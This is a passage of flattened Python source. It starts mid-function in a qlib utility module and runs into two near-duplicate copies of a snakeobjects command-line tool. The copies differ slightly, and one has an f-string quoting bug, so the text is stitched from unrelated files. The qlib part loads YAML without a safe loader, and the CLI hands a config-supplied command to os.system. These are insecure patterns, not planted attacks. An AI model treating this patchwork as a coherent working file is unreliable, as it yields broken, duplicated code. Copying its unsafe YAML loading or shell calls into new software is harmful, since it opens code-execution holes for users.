whether need parse, all object except str do not need to be parsed if not isinstance(config, str): return config # Check whether config is file if os.path.exists(config): with open(config, "r") as f: return yaml.load(f) # Check whether the str can be parsed try: return yaml.load(config) except BaseException: raise ValueError("cannot parse config!") #################### Other #################### def drop_nan_by_y_index(x, y, weight=None): # x, y, weight: DataFrame # Find index of rows which do not contain Nan in all columns from y. mask = ~y.isna().any(axis=1) # Get related rows from x, y, weight. x = x[mask] y = y[mask] if weight is not None: weight = weight[mask] return x, y, weight def hash_args(*args): # json.dumps will keep the dict keys always sorted. string = json.dumps(args, sort_keys=True, default=str) # frozenset return hashlib.md5(string.encode()).hexdigest() def parse_field(field): # Following patterns will be matched: # - $close -> Feature("close") # - $close5 -> Feature("close5") # - $open+$close -> Feature("open")+Feature("close") if not isinstance(field, str): field = str(field) return re.sub(r"\$(\w+)", r'Feature("\1")', re.sub(r"(\w+\s*)\(", r"Operators.\1(", field)) def get_module_by_module_path(module_path): """Load module path :param module_path: :return: """ if module_path.endswith(".py"): module_spec = importlib.util.spec_from_file_location("", module_path) module = importlib.util.module_from_spec(module_spec) module_spec.loader.exec_module(module) else: module = importlib.import_module(module_path) return module def get_cls_kwargs(config: Union[dict, str], module) -> (type, dict): """ extract class and kwargs from config info Parameters ---------- config : [dict, str] similar to config module : Python module It should be a python module to load the class type Returns ------- (type, dict): the class object and it's arguments. """ if isinstance(config, dict): # raise AttributeError klass = getattr(module, config["class"]) kwargs = config.get("kwargs", {}) elif isinstance(config, str): klass = getattr(module, config) kwargs = {} else: raise NotImplementedError(f"This type of input is not supported") return klass, kwargs def init_instance_by_config( config: Union[str, dict, object], module=None, accept_types: Union[type, Tuple[type]] = tuple([]), **kwargs ) -> object: """ get initialized instance with config Parameters ---------- config : Union[str, dict, object] dict example. { 'class': 'ClassName', 'kwargs': dict, # It is optional. {} will be used if not given 'model_path': path, # It is optional if module is given } str example. "ClassName": getattr(module, config)() will be used. object example: instance of accept_types module : Python module Optional. It should be a python module. NOTE: the "module_path" will be override by `module` arguments accept_types: Union[type, Tuple[type]] Optional. If the config is a instance of specific type, return the config directly. This will be passed into the second parameter of isinstance. Returns ------- object: An initialized object based on the config info """ if isinstance(config, accept_types): return config if module is None: module = get_module_by_module_path(config["module_path"]) klass, cls_kwargs = get_cls_kwargs(config, module) return klass(**cls_kwargs, **kwargs) def compare_dict_value(src_data: dict, dst_data: dict): """Compare dict value :param src_data: :param dst_data: :return: """ class DateEncoder(json.JSONEncoder): # FIXME: This class can only be accurate to the day. If it is a minute, # there may be a bug def default(self, o): if isinstance(o, (datetime.datetime, datetime.date)): return o.strftime("%Y-%m-%d %H:%M:%S") return json.JSONEncoder.default(self, o) src_data = json.dumps(src_data, indent=4, sort_keys=True, cls=DateEncoder) dst_data = json.dumps(dst_data, indent=4, sort_keys=True, cls=DateEncoder) diff = difflib.ndiff(src_data, dst_data) changes = [line for line in diff if line.startswith("+ ") or line.startswith("- ")] return changes def create_save_path(save_path=None): """Create save path Parameters ---------- save_path: str """ if save_path: if not os.path.exists(save_path): os.makedirs(save_path) else: temp_dir = os.path.expanduser("~/tmp") if not os.path.exists(temp_dir): os.makedirs(temp_dir) _, save_path = tempfile.mkstemp(dir=temp_dir) return save_path @contextlib.contextmanager def save_multiple_parts_file(filename, format="gztar"): """Save multiple parts file Implementation process: 1. get the absolute path to 'filename' 2. create a 'filename' directory 3. user does something with file_path('filename/') 4. remove 'filename' directory 5. make_archive 'filename' directory, and rename 'archive file' to filename :param filename: result model path :param format: archive format: one of "zip", "tar", "gztar", "bztar", or "xztar" :return: real model path Usage:: >>> # The following code will create an archive file('~/tmp/test_file') containing 'test_doc_i'(i is 0-10) files. >>> with save_multiple_parts_file('~/tmp/test_file') as filename_dir: ... for i in range(10): ... temp_path = os.path.join(filename_dir, 'test_doc_{}'.format(str(i))) ... with open(temp_path) as fp: ... fp.write(str(i)) ... """ if filename.startswith("~"): filename = os.path.expanduser(filename) file_path = os.path.abspath(filename) # Create model dir if os.path.exists(file_path): raise FileExistsError("ERROR: file exists: {}, cannot be create the directory.".format(file_path)) os.makedirs(file_path) # return model dir yield file_path # filename dir to filename.tar.gz file tar_file = shutil.make_archive(file_path, format=format, root_dir=file_path) # Remove filename dir if os.path.exists(file_path): shutil.rmtree(file_path) # filename.tar.gz rename to filename os.rename(tar_file, file_path) @contextlib.contextmanager def unpack_archive_with_buffer(buffer, format="gztar"): """Unpack archive with archive buffer After the call is finished, the archive file and directory will be deleted. Implementation process: 1. create 'tempfile' in '~/tmp/' and directory 2. 'buffer' write to 'tempfile' 3. unpack archive file('tempfile') 4. user does something with file_path('tempfile/') 5. remove 'tempfile' and 'tempfile directory' :param buffer: bytes :param format: archive format: one of "zip", "tar", "gztar", "bztar", or "xztar" :return: unpack archive directory path Usage:: >>> # The following code is to print all the file names in 'test_unpack.tar.gz' >>> with open('test_unpack.tar.gz') as fp: ... buffer = fp.read() ... >>> with unpack_archive_with_buffer(buffer) as temp_dir: ... for f_n in os.listdir(temp_dir): ... print(f_n) ... """ temp_dir = os.path.expanduser("~/tmp") if not os.path.exists(temp_dir): os.makedirs(temp_dir) with tempfile.NamedTemporaryFile("wb", delete=False, dir=temp_dir) as fp: fp.write(buffer) file_path = fp.name try: tar_file = file_path + ".tar.gz" os.rename(file_path, tar_file) # Create dir os.makedirs(file_path) shutil.unpack_archive(tar_file, format=format, extract_dir=file_path) # Return temp dir yield file_path except Exception as e: log.error(str(e)) finally: # Remove temp tar file if os.path.exists(tar_file): os.unlink(tar_file) # Remove temp model dir if os.path.exists(file_path): shutil.rmtree(file_path) @contextlib.contextmanager def get_tmp_file_with_buffer(buffer): temp_dir = os.path.expanduser("~/tmp") if not os.path.exists(temp_dir): os.makedirs(temp_dir) with tempfile.NamedTemporaryFile("wb", delete=True, dir=temp_dir) as fp: fp.write(buffer) file_path = fp.name yield file_path def remove_repeat_field(fields): """remove repeat field :param fields: list; features fields :return: list """ fields = copy.deepcopy(fields) _fields = set(fields) return sorted(_fields, key=fields.index) def remove_fields_space(fields: [list, str, tuple]): """remove fields space :param fields: features fields :return: list or str """ if isinstance(fields, str): return fields.replace(" ", "") return [i.replace(" ", "") for i in fields if isinstance(i, str)] def normalize_cache_fields(fields: [list, tuple]): """normalize cache fields :param fields: features fields :return: list """ return sorted(remove_repeat_field(remove_fields_space(fields))) def normalize_cache_instruments(instruments): """normalize cache instruments :return: list or dict """ if isinstance(instruments, (list, tuple, pd.Index, np.ndarray)): instruments = sorted(list(instruments)) else: # dict type stockpool if "market" in instruments: pass else: instruments = {k: sorted(v) for k, v in instruments.items()} return instruments def is_tradable_date(cur_date): """judgy whether date is a tradable date ---------- date : pandas.Timestamp current date """ from ..data import D return str(cur_date.date()) == str(D.calendar(start_time=cur_date, future=True)[0].date()) def get_date_range(trading_date, left_shift=0, right_shift=0, future=False): """get trading date range by shift Parameters ---------- trading_date: pd.Timestamp left_shift: int right_shift: int future: bool """ from ..data import D start = get_date_by_shift(trading_date, left_shift, future=future) end = get_date_by_shift(trading_date, right_shift, future=future) calendar = D.calendar(start, end, future=future) return calendar def get_date_by_shift(trading_date, shift, future=False, clip_shift=True): """get trading date with shift bias wil cur_date e.g. : shift == 1, return next trading date shift == -1, return previous trading date ---------- trading_date : pandas.Timestamp current date shift : int clip_shift: bool """ from qlib.data import D cal = D.calendar(future=future) if pd.to_datetime(trading_date) not in list(cal): raise ValueError("{} is not trading day!".format(str(trading_date))) _index = bisect.bisect_left(cal, trading_date) shift_index = _index + shift if shift_index < 0 or shift_index >= len(cal): if clip_shift: shift_index = np.clip(shift_index, 0, len(cal) - 1) else: raise IndexError(f"The shift_index({shift_index}) of the trading day ({trading_date}) is out of range") return cal[shift_index] def get_next_trading_date(trading_date, future=False): """get next trading date ---------- cur_date : pandas.Timestamp current date """ return get_date_by_shift(trading_date, 1, future=future) def get_pre_trading_date(trading_date, future=False): """get previous trading date ---------- date : pandas.Timestamp current date """ return get_date_by_shift(trading_date, -1, future=future) def transform_end_date(end_date=None, freq="day"): """get previous trading date If end_date is -1, None, or end_date is greater than the maximum trading day, the last trading date is returned. Otherwise, returns the end_date ---------- end_date: str end trading date date : pandas.Timestamp current date """ from ..data import D last_date = D.calendar(freq=freq)[-1] if end_date is None or (str(end_date) == "-1") or (pd.Timestamp(last_date) < pd.Timestamp(end_date)): log.warning( "\nInfo: the end_date in the configuration file is {}, " "so the default last date {} is used.".format(end_date, last_date) ) end_date = last_date return end_date def get_date_in_file_name(file_name): """Get the date(YYYY-MM-DD) written in file name Parameter file_name : str :return date : str 'YYYY-MM-DD' """ pattern = "[0-9]{4}-[0-9]{2}-[0-9]{2}" date = re.search(pattern, str(file_name)).group() return date def split_pred(pred, number=None, split_date=None): """split the score file into two part Parameter --------- pred : pd.DataFrame (index:<instrument, datetime>) A score file of stocks number: the number of dates for pred_left split_date: the last date of the pred_left Return ------- pred_left : pd.DataFrame (index:<instrument, datetime>) The first part of original score file pred_right : pd.DataFrame (index:<instrument, datetime>) The second part of original score file """ if number is None and split_date is None: raise ValueError("`number` and `split date` cannot both be None") dates = sorted(pred.index.get_level_values("datetime").unique()) dates = list(map(pd.Timestamp, dates)) if split_date is None: date_left_end = dates[number - 1] date_right_begin = dates[number] date_left_start = None else: split_date = pd.Timestamp(split_date) date_left_end = split_date date_right_begin = split_date + pd.Timedelta(days=1) if number is None: date_left_start = None else: end_idx = bisect.bisect_right(dates, split_date) date_left_start = dates[end_idx - number] pred_temp = pred.sort_index() pred_left = pred_temp.loc(axis=0)[:, date_left_start:date_left_end] pred_right = pred_temp.loc(axis=0)[:, date_right_begin:] return pred_left, pred_right def can_use_cache(): res = True r = get_redis_connection() try: r.client() except redis.exceptions.ConnectionError: res = False finally: r.close() return res def exists_qlib_data(qlib_dir): qlib_dir = Path(qlib_dir).expanduser() if not qlib_dir.exists(): return False calendars_dir = qlib_dir.joinpath("calendars") instruments_dir = qlib_dir.joinpath("instruments") features_dir = qlib_dir.joinpath("features") # check dir for _dir in [calendars_dir, instruments_dir, features_dir]: if not (_dir.exists() and list(_dir.iterdir())): return False # check calendar bin for _calendar in calendars_dir.iterdir(): if not list(features_dir.rglob(f"*.{_calendar.name.split('.')[0]}.bin")): return False # check instruments code_names = set(map(lambda x: x.name.lower(), features_dir.iterdir())) _instrument = instruments_dir.joinpath("all.txt") miss_code = set(pd.read_csv(_instrument, sep="\t", header=None).loc[:, 0].apply(str.lower)) - set(code_names) if miss_code and any(map(lambda x: "sht" not in x, miss_code)): return False return True def check_qlib_data(qlib_config): inst_dir = Path(qlib_config["provider_uri"]).joinpath("instruments") for _p in inst_dir.glob("*.txt"): try: assert len(pd.read_csv(_p, sep="\t", nrows=0, header=None).columns) == 3, ( f"\nThe {str(_p.resolve())} of qlib data is not equal to 3 columns:" f"\n\tIf you are using the data provided by qlib: " f"https://qlib.readthedocs.io/en/latest/component/data.html#qlib-format-dataset" f"\n\tIf you are using your own data, please dump the data again: " f"https://qlib.readthedocs.io/en/latest/component/data.html#converting-csv-format-into-qlib-format" ) except AssertionError: raise def lazy_sort_index(df: pd.DataFrame, axis=0) -> pd.DataFrame: """ make the df index sorted df.sort_index() will take a lot of time even when `df.is_lexsorted() == True` This function could avoid such case Parameters ---------- df : pd.DataFrame Returns ------- pd.DataFrame: sorted dataframe """ idx = df.index if axis == 0 else df.columns if idx.is_monotonic_increasing: return df else: return df.sort_index(axis=axis) def flatten_dict(d, parent_key="", sep="."): """flatten_dict. >>> flatten_dict({'a': 1, 'c': {'a': 2, 'b': {'x': 5, 'y' : 10}}, 'd': [1, 2, 3]}) >>> {'a': 1, 'c.a': 2, 'c.b.x': 5, 'd': [1, 2, 3], 'c.b.y': 10} Parameters ---------- d : d parent_key : parent_key sep : sep """ items = [] for k, v in d.items(): new_key = parent_key + sep + k if parent_key else k if isinstance(v, collections.abc.MutableMapping): items.extend(flatten_dict(v, new_key, sep=sep).items()) else: items.append((new_key, v)) return dict(items) #################### Wrapper ##################### class Wrapper: """Wrapper class for anything that needs to set up during qlib.init""" def __init__(self): self._provider = None def register(self, provider): self._provider = provider def __getattr__(self, key): if self._provider is None: raise AttributeError("Please run qlib.init() first using qlib") return getattr(self._provider, key) def register_wrapper(wrapper, cls_or_obj, module_path=None): """register_wrapper :param wrapper: A wrapper. :param cls_or_obj: A class or class name or object instance. """ if isinstance(cls_or_obj, str): module = get_module_by_module_path(module_path) cls_or_obj = getattr(module, cls_or_obj) obj = cls_or_obj() if isinstance(cls_or_obj, type) else cls_or_obj wrapper.register(obj) def load_dataset(path_or_obj): """load dataset from multiple file formats""" if isinstance(path_or_obj, pd.DataFrame): return path_or_obj if not os.path.exists(path_or_obj): raise ValueError(f"file {path_or_obj} doesn't exist") _, extension = os.path.splitext(path_or_obj) if extension == ".h5": return pd.read_hdf(path_or_obj) elif extension == ".pkl": return pd.read_pickle(path_or_obj) elif extension == ".csv": return pd.read_csv(path_or_obj, parse_dates=True, index_col=[0, 1]) raise ValueError(f"unsupported file type `{extension}`") def code_to_fname(code: str): """stock code to file name Parameters ---------- code: str """ # NOTE: In windows, the following name is I/O device, and the file with the corresponding name cannot be created # reference: https://superuser.com/questions/86999/why-cant-i-name-a-folder-or-file-con-in-windows replace_names = ["CON", "PRN", "AUX", "NUL"] replace_names += [f"COM{i}" for i in range(10)] replace_names += [f"LPT{i}" for i in range(10)] prefix = "_qlib_" if str(code).upper() in replace_names: code = prefix + str(code) return code def fname_to_code(fname: str): """file name to stock code Parameters ---------- fname: str """ prefix = "_qlib_" if fname.startswith(prefix): fname = fname.lstrip(prefix) return fname
import os import sys from typing import List, Optional helpData = { "version": "prints the version", "help": '''sobjects help [command] Shows description of the command line interface. Without an argument, prints help for all the commands. If one argument is given, it should be one of the available commands and help for the given command is shown.''', "describe": '''Prints basic information about the project and the pipeline that are used.''', "prepareTest": '''sobjects prepareTest [<arguments to build_object_graph.py>] Uses the build_object_graph.py in the pipeline directory to create a new object graph and prints statistics of the current and the new object graph. The project is not modified at all.''', "buildObjectGraph": '''sobjects buildObjectGraph [<arguments to build_object_graph.py>] Uses the build_object_graph.py in the pipeline directory to create a new object graph and stores it on the file OG.json in the project directory.''', "createSnakefile": '''sobjects createSnakefile First, the command finds the list of implemented object types by obtaining the names (without the .snakefile suffix) of *.snakefile files in the pipeline directory. The createSnakefile command then checks if the object graph of the current project uses object types that have no corresponding <object type>.snakefile. In such cases, it creates dummy *.snakefiles for the new object types and extends the list of object types. (The check for new object types in the current project is an esoteric feature helpful for pipeline developers during the development or extension of pipelines.) The command then creates a Snakefile in the pipeline directory based on the complete list of the object types. ''', "createSymbolicLinks": '''sobjects createSymbolicLinks Uses the objectGraph OG.json to create object directories for objects that have symbolic links in object's parameters.''', "prepare": '''sobjects prepare [<arguments to build_object_graph.py>] This is a short-cut command equivallent to: sobjects buildObjectGraph [<arguments to build_object_graph.py>] sobjects createSnakefile sobjects createSymlinks''', "run": '''sobjects run [<arguments to snakemake>] Creates targets for objects in the object graph by running snakemake. The <arguments to snakemake> determine which targets will be created and what resources will be used.''', "cleanProject": '''sobjects cleanProject [ -f] Will ask user to remove OG.json, .snakemake, and all objects directories. With -f option all is removed silently.''', "submit": '''sobjects submit [<arguments to snakemake>] Creates targets for objects in the object graph by running snakemake with profile specified in default_snakemake_args directive of so_project.yaml. The <arguments to snakemake> determine which targets will be created and what resources will be used.''', "printEnv": '''sobjects printEnv Prints out on the standart output the shell commands defining shell environment variables, such as PATH, PYTHONPATH, etc.''', "graph": '''sobject graph [-w width] [-p penwidth] [-a arrowsize] [-l legend] [-o out] [-i id] [-s shape] optional arguments: -h, --help show this help message and exit -w width, --width width width of node, default is 0.75 -p penwidth, --penwidth penwidth thickness of edges, default is 1.0 -a arrowsize, --arrowsize arrowsize multiplicative scale factor for arrowheads, default is 1.0 -l legend, --legend legend Name of the output legend file, default is no legend -o out, --out out name of the output file, default is stdout -t text, --text text place text in nodes: [|oId|oType:oId|params], default no text -s shape, --shape shape shape of the node, default is circle, for all shape names see https://www.graphviz.org/doc/info/shapes.html''' } def load_yaml(file_name): import yaml CF = open(file_name, 'r') config = yaml.safe_load(CF) CF.close() return config def get_arg_value(args, arg): try: i = args.index(arg) except ValueError: return None if i + 1 >= len(args): return None return args[i + 1] def cli(args: Optional[List[str]] = None): if not args: args = sys.argv[1:] command = args[0] if command == "jobscript.sh": import importlib.resources as importlib_resources print(importlib_resources.read_text(__package__, 'jobscript.sh'), end='') return if "READTHEDOCS" in os.environ: from _version import get_versions __version__ = get_versions()['version'] else: from snakeobjects import __version__ if command in ["help", "-h", "--help"]: print("Snakeobjects %s\n" % (__version__)) if len(args) == 1: print("Available commands are:\n\t", "\n\t".join(helpData.keys()), "\n", sep="") print("Typical sequence of commands is descripe, prepareTest, prepare, run:\n") for cmd, hs in helpData.items(): print(cmd) print('#' * len(cmd)) print(hs) print() elif len(args) == 2: hCmd = args[1] if hCmd in helpData: print(helpData[hCmd]) else: print("The command", hCmd, "is unknown") return 1 else: print("Help accepts at most one argument.") return 1 return if command == "version": print(__version__) return from snakeobjects import Project, ObjectGraph, load_object_graph, graph import importlib.resources as importlib_resources import yaml from importlib.util import spec_from_file_location, module_from_spec proj = Project() if command == "buildObjectGraph": proj.buildObjectGraph(args[1:]) proj.save_object_graph() elif command in ["createSnakefile"]: proj.write_main_snakefile() elif command == "createSymbolicLinks": proj.create_symbolic_links() elif command in ["prepare", "prepareTest"]: print("# WORKING ON PROJECT", proj.directory) print("# WITH PIPELINE", proj.pipeline.get_definition()) proj.buildObjectGraph(args[1:]) if command == "prepareTest": print("Current graph stats") print("+++++++++++++++++++") proj.objectGraph.print_stats() print("\n") print("New graph stats") print("+++++++++++++++") proj.objectGraph.print_stats() else: proj.save_object_graph() proj.write_main_snakefile() proj.create_symbolic_links() proj.objectGraph.print_stats() elif command == "printEnv": proj.set_environment(update_environment=False) elif command == "run": print("# WORKING ON PROJECT", proj.directory) print("# WITH PIPELINE", proj.pipeline.get_definition()) sargs = ['snakemake', '-s', str(proj.pipeline.get_main_snakefile_path()), '-d', proj.directory] if "default_snakemake_args" in proj.parameters: sargs += proj.parameters["default_snakemake_args"].split() sargs += args[1:] if not os.path.exists(proj.directory + '/OG.json'): print("OG.json doesn't exist in " + proj.directory + ", do 'sobjects prepare' first.") exit(1) proj.set_environment() print("RUNNING:", " ".join(sargs)) default_remote_provider = get_arg_value(sargs, '--default-remote-provider') default_remote_prefix = get_arg_value(sargs, '--default-remote-prefix') if default_remote_provider and default_remote_prefix: from snakeobjects.remoteProjects import upload_project_files_to_remote upload_project_files_to_remote(default_remote_provider, default_remote_prefix) if ("--kubernetes" in sargs or "--google-lifesciences" in sargs): if default_remote_provider and default_remote_prefix: os.environ['SO_REMOTE'] = f"{default_remote_provider}:{default_remote_prefix}" sargs += ["--envvars SO_REMOTE "] os.execvp('snakemake', sargs) elif command == "submit": print("# WORKING ON PROJECT", proj.directory) print("# WITH PIPELINE", proj.pipeline.get_definition()) from snakeobjects.Project import ProjectException if not os.path.exists(proj.directory + '/OG.json'): print("OG.json doesn't exist in " + proj.directory + ", do 'sobjects prepare' first.") exit(1) sargs = [] if "default_snakemake_args" in proj.parameters: sargs += proj.parameters["default_snakemake_args"].split() else: raise ProjectException("No profile specified") sargs += args[1:] profile = sargs[sargs.index('--profile') + 1] if not os.path.exists(profile): raise ProjectException("Profile not found %s" % profile) if not os.path.exists(profile + "/config.yaml"): raise ProjectException("No config.yaml in %s" % profile) pr_config = load_yaml(profile + "/config.yaml") if not "cluster" in pr_config: ProjectException("cluster in not specified in %s" % profile + "/config.yaml") cmd = pr_config["cluster"] proj.set_environment(sargs) if os.system('sobjects jobscript.sh >$SO_PROJECT/jobscript.sh'): raise ProjectException("sobjects jobscript.sh failed") with open(proj.directory + '/jobscript.sh', 'a') as js: for k, v in pr_config.items(): if not k in 'jobname jobscript cluster cluster-status'.split(' '): js.write('--' + str(k) + ' ' + str(v) + ' ') js.write(' '.join(args[1:])) os.system("%s/%s" % (profile, cmd) + " $SO_PROJECT/jobscript.sh") #os.execvp('python', [profile + "/" +cmd, "$SO_PROJECT/jobscript.sh"]) elif command == "describe": print("# WORKING ON PROJECT", proj.directory) print("# WITH PIPELINE", proj.pipeline.get_definition()) print("Project parameters:") for k, v in proj.parameters.items(): print(f"\t{k}: {v}") proj.objectGraph.print_stats() elif command == "graph": print(args, file=sys.stderr) graph.driver(proj.objectGraph, args) elif command == "cleanProject": print("# WORKING ON PROJECT", proj.directory) print("# WITH PIPELINE", proj.pipeline.get_definition()) import shutil sm = proj.directory + '/.snakemake' og = proj.directory + '/OG.json' if "-f" in sys.argv: val = input( f'\033[91m \nDO YOU REALLY WANT TO DELETE EVERYTHING IN {proj.directory} ? (Y/n):\033[00m') if val == 'Y': if os.path.exists(sm): shutil.rmtree(os.path.abspath(sm)) if os.path.exists(og): os.remove(os.path.abspath(og)) for ot in proj.objectGraph.get_object_types(): if os.path.exists(proj.directory + '/' + ot): shutil.rmtree(os.path.abspath(proj.directory + '/' + ot)) return 0 else: return 0 if os.path.exists(sm): val = input('Delete .snakemake? (y/n):') if val == 'y': shutil.rmtree(os.path.abspath(sm)) if os.path.exists(og): val = input('Delete OG.json? (y/n):') if val == 'y': os.remove(os.path.abspath(og)) for ot in proj.objectGraph.get_object_types(): if os.path.exists(proj.directory + '/' + ot): val = input(f'Delete {proj.directory+'/'+ot}? (y/n):') if val == 'y': shutil.rmtree(os.path.abspath(proj.directory + '/' + ot)) else: print("Don't know the command:", command) return 1 if __name__ == '__main__': import sys # print("BBBBBBB") cli(sys.argv[1:])
import os import sys from typing import List, Optional helpData = { "version": "prints the version", "help": '''sobjects help [command] Shows description of the command line interface. Without an argument, prints help for all the commands. If one argument is given, it should be one of the available commands and help for the given command is shown.''', "describe": '''Prints basic information about the project and the pipeline that are used.''', "prepareTest": '''sobjects prepareTest [<arguments to build_object_graph.py>] Uses the build_object_graph.py in the pipeline directory to create a new object graph and prints statistics of the current and the new object graph. The project is not modified at all.''', "buildObjectGraph": '''sobjects buildObjectGraph [<arguments to build_object_graph.py>] Uses the build_object_graph.py in the pipeline directory to create a new object graph and stores it on the file OG.json in the project directory.''', "createSnakefile": '''sobjects createSnakefile First, the command finds the list of implemented object types by obtaining the names (without the .snakefile suffix) of *.snakefile files in the pipeline directory. The createSnakefile command then checks if the object graph of the current project uses object types that have no corresponding <object type>.snakefile. In such cases, it creates dummy *.snakefiles for the new object types and extends the list of object types. (The check for new object types in the current project is an esoteric feature helpful for pipeline developers during the development or extension of pipelines.) The command then creates a Snakefile in the pipeline directory based on the complete list of the object types. ''', "createSymbolicLinks": '''sobjects createSymbolicLinks Uses the objectGraph OG.json to create object directories for objects that have symbolic links in object's parameters.''', "prepare": '''sobjects prepare [<arguments to build_object_graph.py>] This is a short-cut command equivallent to: sobjects buildObjectGraph [<arguments to build_object_graph.py>] sobjects createSnakefile sobjects createSymlinks''', "run": '''sobjects run [<arguments to snakemake>] Creates targets for objects in the object graph by running snakemake. The <arguments to snakemake> determine which targets will be created and what resources will be used.''', "cleanProject": '''sobjects cleanProject [ -f] Will ask user to remove OG.json, .snakemake, and all objects directories. With -f option all is removed silently.''', "submit": '''sobjects submit [<arguments to snakemake>] Creates targets for objects in the object graph by running snakemake with profile specified in default_snakemake_args directive of so_project.yaml. The <arguments to snakemake> determine which targets will be created and what resources will be used.''', "printEnv": '''sobjects printEnv Prints out on the standart output the shell commands defining shell environment variables, such as PATH, PYTHONPATH, etc.''', "graph": '''sobject graph [-w width] [-p penwidth] [-a arrowsize] [-l legend] [-o out] [-i id] [-s shape] optional arguments: -h, --help show this help message and exit -w width, --width width width of node, default is 0.75 -p penwidth, --penwidth penwidth thickness of edges, default is 1.0 -a arrowsize, --arrowsize arrowsize multiplicative scale factor for arrowheads, default is 1.0 -l legend, --legend legend Name of the output legend file, default is no legend -o out, --out out name of the output file, default is stdout -t text, --text text place text in nodes: [|oId|oType:oId|params], default no text -s shape, --shape shape shape of the node, default is circle, for all shape names see https://www.graphviz.org/doc/info/shapes.html''' } def load_yaml(file_name): import yaml CF = open(file_name, 'r') config = yaml.safe_load(CF) CF.close() return config def get_arg_value(args, arg): try: i = args.index(arg) except ValueError: return None if i + 1 >= len(args): return None return args[i + 1] def cli(args: Optional[List[str]] = None): if not args: args = sys.argv[1:] command = args[0] if command == "jobscript.sh": import importlib.resources as importlib_resources print(importlib_resources.read_text(__package__, 'jobscript.sh'), end='') return if "READTHEDOCS" in os.environ: from _version import get_versions __version__ = get_versions()['version'] else: from snakeobjects import __version__ if command in ["help", "-h", "--help"]: print("Snakeobjects %s\n" % (__version__)) if len(args) == 1: print("Available commands are:\n\t", "\n\t".join(helpData.keys()), "\n", sep="") print("Typical sequence of commands is descripe, prepareTest, prepare, run:\n") for cmd, hs in helpData.items(): print(cmd) print('#' * len(cmd)) print(hs) print() elif len(args) == 2: hCmd = args[1] if hCmd in helpData: print(helpData[hCmd]) else: print("The command", hCmd, "is unknown") return 1 else: print("Help accepts at most one argument.") return 1 return if command == "version": print(__version__) return from snakeobjects import Project, ObjectGraph, load_object_graph, graph import importlib.resources as importlib_resources import yaml from importlib.util import spec_from_file_location, module_from_spec proj = Project() if command == "buildObjectGraph": proj.buildObjectGraph(args[1:]) proj.save_object_graph() elif command in ["createSnakefile"]: proj.write_main_snakefile() elif command == "createSymbolicLinks": proj.create_symbolic_links() elif command in ["prepare", "prepareTest"]: print("# WORKING ON PROJECT", proj.directory) print("# WITH PIPELINE", proj.pipeline.get_definition()) proj.buildObjectGraph(args[1:]) if command == "prepareTest": print("Current graph stats") print("+++++++++++++++++++") proj.objectGraph.print_stats() print("\n") print("New graph stats") print("+++++++++++++++") proj.objectGraph.print_stats() else: proj.save_object_graph() proj.write_main_snakefile() proj.create_symbolic_links() proj.objectGraph.print_stats() elif command == "printEnv": proj.set_environment(update_environment=False) elif command == "run": print("# WORKING ON PROJECT", proj.directory) print("# WITH PIPELINE", proj.pipeline.get_definition()) sargs = ['snakemake', '-s', str(proj.pipeline.get_main_snakefile_path()), '-d', proj.directory] if "default_snakemake_args" in proj.parameters: sargs += proj.parameters["default_snakemake_args"].split() sargs += args[1:] if not os.path.exists(proj.directory + '/OG.json'): print("OG.json doesn't exist in " + proj.directory + ", do 'sobjects prepare' first.") exit(1) proj.set_environment() print("RUNNING:", " ".join(sargs)) default_remote_provider = get_arg_value(sargs, '--default-remote-provider') default_remote_prefix = get_arg_value(sargs, '--default-remote-prefix') if default_remote_provider and default_remote_prefix: from snakeobjects.remoteProjects import upload_project_files_to_remote upload_project_files_to_remote(default_remote_provider, default_remote_prefix) if ("--kubernetes" in sargs or "--google-lifesciences" in sargs): if default_remote_provider and default_remote_prefix: os.environ['SO_REMOTE'] = f"{default_remote_provider}:{default_remote_prefix}" sargs += ["--envvars SO_REMOTE "] os.execvp('snakemake', sargs) elif command == "submit": print("# WORKING ON PROJECT", proj.directory) print("# WITH PIPELINE", proj.pipeline.get_definition()) from snakeobjects.Project import ProjectException if not os.path.exists(proj.directory + '/OG.json'): print("OG.json doesn't exist in " + proj.directory + ", do 'sobjects prepare' first.") exit(1) sargs = [] if "default_snakemake_args" in proj.parameters: sargs += proj.parameters["default_snakemake_args"].split() else: raise ProjectException("No profile specified") sargs += args[1:] profile = sargs[sargs.index('--profile') + 1] if not os.path.exists(profile): raise ProjectException("Profile not found %s" % profile) if not os.path.exists(profile + "/config.yaml"): raise ProjectException("No config.yaml in %s" % profile) pr_config = load_yaml(profile + "/config.yaml") if not "cluster" in pr_config: ProjectException("cluster in not specified in %s" % profile + "/config.yaml") cmd = pr_config["cluster"] proj.set_environment(sargs) if os.system('sobjects jobscript.sh >$SO_PROJECT/jobscript.sh'): raise ProjectException("sobjects jobscript.sh failed") with open(proj.directory + '/jobscript.sh', 'a') as js: for k, v in pr_config.items(): if not k in 'jobname jobscript cluster cluster-status'.split(' '): js.write('--' + str(k) + ' ' + str(v) + ' ') js.write(' '.join(args[1:])) os.system("%s/%s" % (profile, cmd) + " $SO_PROJECT/jobscript.sh") #os.execvp('python', [profile + "/" +cmd, "$SO_PROJECT/jobscript.sh"]) elif command == "describe": print("# WORKING ON PROJECT", proj.directory) print("# WITH PIPELINE", proj.pipeline.get_definition()) print("Project parameters:") for k, v in proj.parameters.items(): print(f"\t{k}: {v}") proj.objectGraph.print_stats() elif command == "graph": print(args, file=sys.stderr) graph.driver(proj.objectGraph, args) elif command == "cleanProject": print("# WORKING ON PROJECT", proj.directory) print("# WITH PIPELINE", proj.pipeline.get_definition()) import shutil sm = proj.directory + '/.snakemake' og = proj.directory + '/OG.json' if "-f" in sys.argv: val = input( f'\033[91m \nDO YOU REALLY WANT TO DELETE EVERYTHING IN {proj.directory} ? (Y/n):\033[00m') if val == 'Y': if os.path.exists(sm): shutil.rmtree(os.path.abspath(sm)) if os.path.exists(og): os.remove(os.path.abspath(og)) for ot in proj.objectGraph.get_object_types(): if os.path.exists(proj.directory + '/' + ot): shutil.rmtree(os.path.abspath(proj.directory + '/' + ot)) return 0 else: return 0 if os.path.exists(sm): val = input('Delete .snakemake? (y/n):') if val == 'y': shutil.rmtree(os.path.abspath(sm)) if os.path.exists(og): val = input('Delete OG.json? (y/n):') if val == 'y': os.remove(os.path.abspath(og)) for ot in proj.objectGraph.get_object_types(): if os.path.exists(proj.directory + '/' + ot): val = input(f'Delete {proj.directory+"/"+ot}? (y/n):') if val == 'y': shutil.rmtree(os.path.abspath(proj.directory + '/' + ot)) else: print("Don't know the command:", command) return 1 if __name__ == '__main__': import sys # print("BBBBBBB") cli(sys.argv[1:])
